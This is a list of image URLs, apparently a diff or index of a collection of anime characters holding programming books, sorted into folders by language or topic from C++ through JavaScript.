+https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Sakura_Nene_CPP_Fullface.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Sakurajima_Mai_Holding_The_C%2B%2B_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Shimoe_Koharu_CPP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Shiro_Holding_Stroustrup_4th_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Sousou_no_Frieren_c%2B%2B.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Tateishi_Shima_CPP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Tohru_Reading_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Uiharu_Kazari_Modern_CPP_Design%20.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Unknown_Girl_Holding_The_C%2B%2B_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/c%2B%2B_For_Dummies.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/cirno_teaches_c%2B%2B.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/gabriela_lotarynska_cpp.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/zero_two_c%2B%2B_the_ultimate_crash_course_to_learning_c%2B%2B_from_basic_to_advanced_paul_laurence.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/297974%20bribing%20scene.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Abiko_Samejima_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Aharen_Reina_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Ai_Hayasaka_Holding_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Ai_Hayasaka_Holding_The_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Ai_Hayasaka_Shinomiya_Kaguya_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Akiyama_Mio_Reading_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Arikawa_Hime_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Arikawa_Hime_Holding_C_Programming_Language_wp.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Arima_Kana_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Asuka_Backflip_With_C_Programming_Language.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Aya_Komichi_Holding_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Beatrice_Holding_Graphics_Programming_In_C.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Cardcaptor_Sakura_Kinomoto_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Chitanda_Eru_Holding_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Eris_Grayrat_Holding_The_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Frieren_Reading_C_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Fuko_Ibuki_Holding_Up_C.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Hakurei_Reimu_Holding_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Hatsune_Miku_Holding_The_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Hayasaka_Holding_The_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Hibiki_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/IM%40S_Minase_Iori_Holding_Chest_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Ikezawa_Hanako_Sitting_Reading_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Iwakura_Lain_holding_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kagamihara_nadeshiko_Reading_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kaoruko_Waguri_Holding_C_Programming_Language.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Karen_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Karen_Kujo_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kikuri_Hiroi_Modern_Compiler_Implementation_in_C.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kitagawa_Marin_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kochiya_Sanae_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Koizumi_Hanayo_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Komi_san_C.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Koume_Shirasaka_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kunikida_Hanamaru_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kuriyama_Mirai_flips_through_The_C_Programming_Language.gif +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Kuroneko_Holding_Fake_C_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Lain_Iwakura_Holding_C_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Lain_studying.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Mai_Sakurajima_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Mai_Sakurajima_Holding_ISO_IEC_9899_1999.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Maki_Oze_holding_introducao_a_programacao_com_a_linguagem_C.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Makise_Kurisu_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Megumin_Holding_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Meteora_%C3%96sterreich_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Mio_Akiyama_Holding_C_Book.gif +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Misa_Amane_C_Programming_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Miss_Monochrome_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Miyamizu_Mitsuha_Reading_C_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Murakami_Shiina_Holding_Computer_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Murasaki_Shikibu_Holding_C_Programming_Language_Polish.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Mysterious_Heroine_X_Holding_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Nagato_Yuki_Backflip_With_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Nagato_Yuki_Reading_The_C_Programming_Language_In_The_Library.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Nagato_Yuki_Wakeboarding_Reading_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Renge_Reading_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Ryo_Yamada_Holding_C_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Sakura_Nene_Holding_C_Programming_Language_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Sakurajima_Mai_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Sakurauchi_Riko_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Seika_Ijichi_The_C_Programming_Language_2nd_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Shalltear_Overlord_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Shima_Rin_Motivated_With_C.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Shimoe_Koharu_Reading_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Shinomiya_Kaguya_Reading_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Shiomiya_Shiori_Holding_Shy_C_Programming_language_wp.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Shizuka_Yoshimoto_The_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Shizuku_Tsukishima_Holding_C_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Smug_Asuka_Holding_The_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Suzuka_Nagami_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Suzuka_Nagami_Reading_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Tohru_Reading_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Tomoko_Kuroki_Holding_C_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Tsukukakushi_Tsukiko_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Ui_Hirasawa_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Yamada_Nina_Holding_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C/Yunyun_Holding_The_C_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/CMake/Runa_Yomozuki_Professional_CMake.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/CSS/Sae_Chabashira_CSS_Definitive_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/CSS/Sakurajima_Mai_Beginning_CSS.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/CSS/Shima_Rin_Beginning_CSS.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Clojure/Misaka_Mikoto_Clojure_For_The_Brave_And_True.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Clojure/OC_Girl_Clojure_in_Action.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Cobol/Akira_Tachibana_Holding_Cobol_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Cobol/Beatrice_Hugging_Murach%27s_Mainframe_Cobol.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Cobol/Frieren_Cobol_An_Introduction.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Cobol/Kanbaru_Reads_Mainframe_Cobol_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Cobol/Yagami_Kou_Presenting_Structured_COBOL.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/CoffeeScript/Fenis_The_Little_Book_on_CoffeeScript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Ai_Miyashita_And_Rina_Tennoji_Holding_Principles_of_Compiler_Design.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Komi_holding_Compilers.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Makise_Kurisu_Holding_Designing_and_Developing_Compilers_Using_LLVM.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Mila_%28Mita_1.0F%29_Holding_Compiler_Design_Book_Under_The_Table.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Ninym_Ralei_Holds_Compilators_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Suigintou_Smug_Dragon_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Tohru_Kanna_Kobayashi_Excited_for_Dragon_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Tohru_Kanna_Kobayashi_Reading_Dragon_book_%28Tohru_cover%29.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Compilers/Tohru_Reading_Principles_of_Compiler_Design.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Computer%20Graphics/Ryo_Yamada_Reading_Real-Time_Rendering.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Cuda/Yamada_Anna_Holding_Cuda_By_Example.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/D/Kunikida_Hanamaru_holding_Programming_in_D.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Dart/Chisaki_Tapris_Flutter_Complete_Reference.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Dart/Fujiwara_Chika_Dart_Apprentice.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Dart/Miku_Nakano_The_Dart_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Dart/Sae_Chabashira_Flutter_Complete_Reference.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Delphi/kukuru_little_book_of_delphi.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Design%20Patterns/Anna_Yanami_Holding_Design_Patterns_Elements_of_Reusable_Object_Oriented_Software.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Design%20Patterns/Holo_Designing_Data-Intensive_Applications.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Design%20Patterns/Menhera-chan_Agile_Design_Pattern.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Design%20Patterns/Menhera-chan_Head_First_Design_Patterns.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Design%20Patterns/Nagato_Yuki_Design_Patterns.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Design%20Patterns/Watashi_Design_Patterns.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Editors/Code_Geass_CC_Vi.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Editors/Kanna_Kamui_Recommends_Emacs.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Editors/Kobayashi_Holding_GNU_Emacs_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Editors/Murakami_Shiina_Holding_Computer_Neofetch_Modern_Vim.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Editors/Takunomi_Nao-Kiriyama_Vi.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Akira_Tachibana_Holding_Elixir_Book_Shy.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Atsuko_Kagari_Holding_Introducing_Elixir.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Frieren_holding_Elixir_in_Action.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Makise_Kurisu_Holding_Programming_Elixir.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Nazuna_Nanakusa_Holding_Elixir_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Rebecca_Holding_Programming_Elixir.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Ruri_Gokou_Holding_Elixir_and_Elm_Tutorial.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elixir/Sakurajima_Mai_holding_Elixir_in_Action.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elm/Nagato_Yuki_Programming_Elm.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Elm/Ruri_Gokou_Holding_Elixir_and_Elm_Tutorial.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Erlang/Rebecca_Holding_Erlang_Programming.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/F%23/Akko_Holding_Domain_Modeling_Made_Functional.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/F%23/Fumami_Yui_Programming_FSharp_In_Japanese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/F%23/Makise_Kurisu_FSharp_For_Scientists.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/FORTH/Random_Girl_From_Image_Search_Holding_Starting_FORTH.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Fortran/Fern_Beyond_Journey%27s_End_Holding_Fortran_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Fortran/Hinata_Hyuga_Fortran_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Fortran/Hinata_Modern_Fortran_Explained.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Fortran/Kurisu_Makise_Holding_Fortran_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Fortran/Makise_Kurisu_Modern_Fortran_Explained.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/GDScript/hibiki_gdscript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Git/Gestella_from_eleceed_Aprendiendo_Git_Github.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Alya_holding_Go_book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Chitanda_Eru_Holding_GO_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Frieren_Fern_Hands_On_Software_Engineering_With_Golang.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Iwakura_Lain_Reading_Introducing_Go.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Kokoa_Hoto_And_Chino_Kafuu_Reading_The_Go_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Komi_holding_Go_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Lain_Reading_The_Go_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Najimi_showing_GO_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Rain_Witch_Aesc_Holding_Learning_Go.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Rei_Learning_Go.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Rin_Shima_Level_Up_Your_Web_Apps_With_Go.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Ryo_holding_Go_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Sayu_Ogiwara_Holding_GO_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Go/Yaoyorozu_Momo_Holding_Go_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Godot/Kaguya_Shinomiya_Mastering_Godot.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Godot/Miss_Kobayashi_Godot.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Alice_Magratroid_Haskell_The_Craft_of_Functional_Programming_Second_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Eirin_Yagokoro_Haskell_The_Craft_of_Functional_Programming_Second_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Emma_Verde_And_Rina_Tennoji_Holding_Real_World_Haskell.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Fujiwara_No_Mokou_LYAHFGG.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Hanamaru_Kunida_Holding_Haskell.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Ju_Hyeon-mi_Numerous_Haskell_Books_Being_Annoyed_By_A_Pigeon.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Kujou_Karen_Learns_Haskell.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Learn_You_A_Haskell_Cutie_Honey.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Learn_You_A_Haskell_For_Great_Good.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Learn_You_A_Haskell_Mashiro_Shiina.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Library_Girl_Holding_Haskell_Programming_From_First_Principles.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Library_Girls_Learn_About_Haskell.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Mei_Aihara_Haskell_In_Depth.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Menhera-chan_LYAHFGG.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Miyauchi_Renge_Holding_Haskell_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Nakagawa_Nana_With_Procedural_Haskell.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Nazuna_Nanakusa_Holding_Haskell_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Patchouli_Holding_Learn_You_a_Haskell.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Patchouli_Knowledge_Haskell_The_Craft_of_Functional_Programming_Second_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Ryo_Yamada_Holding_Haskell_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Shinomiya_Kaguya_Holding_Haskell_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Tomoe_Mami_Real_World_Haskell.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Haskell/Tomoko_Kuroki_Holding_Real_World_Haskell.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HoTT/Beatrice_Holding_HoTT.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HoTT/Nagato_Yuki_Reads_HoTT.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HoTT/Nishikino_Maki_reads_HoTT.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HoTT/Shizuku_Osaka_Holding_HoTT.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HoTT/Yui_Hirasawa_reads_HoTT.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HolyC/Lain_Iwakura_Holding_HolyC_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HolyC/Lisa_Minci_Holding_HolyC_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HolyC/Sakurajima_Mai_Holding_The_HolyC_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/HolyC/Sky_Feather_Holding_Holy_C.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Idris/Nagato_Yuki_Type_Driven_Development_In_Idris.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Aharen_Reina_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Alice_Kuonji_Java_8.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Chitanda_Eru_Core_Java.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Code_Geass_CC_How_To_Program_In_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/FGO_Artoria_Pendragon_Java_For_Dummies_7.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Fate_Java_12_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Frieren_Holding_Data_Structures_and_Algorithms_in_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Furukawa_Nagisa_Java_12.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Hana_Java_Performance.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Hayasaka_Holding_Android_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Henrietta_Laurent_Java_12.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Henrietta_Laurent_de_Albert_Core_Java.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Izumi_Konata_Java_The_Complete_Reference_Twelfth_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Juri_Java_Threads.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Juri_Java_Threads_2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Kanzaki_Ranko_Holds_How_To_Program_Java_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Kubo_Nagisa_Holding_Java_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Kuriyama_Mirai_reading_OOP_and_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Kurumizawa_Satanichia_Effective_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Kurumizawa_Satanichia_Intro_To_Java_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Kurumizawa_Satanichia_JavaFx_8_Intro_by_Example.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Mikasa_Java_9_Modularity.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Miku_Head_First_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Misato_Katsuragi_Head_First_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Murakami_Shiina_Core_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Natsukawa_Masuzu_Java_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Patchouli_polish_Java_Efectywne_Programowanie.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Rin_Tohsaka_Reads_Java_For_Web_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Ryo_Yamada_Holding_Java_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Shirogane_Kei_Core_Java.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Shouko_Komi_Holding_Java_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Steins%3BGate_Java_8.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Stocking_Anarchy_Portuguese_Java_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Stocking_Anarchy_Portuguese_Java_Book_2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Uiharu_Kazari_Thinks_In_Java.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Unnamed_Core_Java.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Unnamed_Core_Java_2.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Unnamed_Functional_Programming_In_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Unnamed_Java_How_to_Program_Early_Objects.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Unnamed_Optimizing_Java.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/Yuuko_Aioi_Holding_Fundamentals_Of_Java_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Java/ryou_yamada_mastering_spring.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Akko_Reading_Beginning_Javascript.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Chisaki_Tapris_Holding_JavaScript_Scope_and_Closure.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Chitanda_Eru_Holding_Programming_Books_With_Deno_Manual_On_The_Top.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Chito_Holding_Deno_Book_Black_And_White.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Doma_Umaru_Java_Script_The_Good_Parts.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Felix_Argyle_Scared_By_JavaScript_The_Good_Parts.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Functional_Programming_In_Javascript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Ikuno_Holding_Javascript_The_Definitive_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Kanon_Shibuya_Holds_Javascript_And_Jquery_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Korone_JavaScript_jQuery_Murachs_Fourth.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Kozeki_Ui_Holds_JavaScript_Book_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Mai_Sakurajima_Holding_Eloquent_Javascript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Maya_Yamato_Holding_Javascript_For_Absolute_Beginners.png 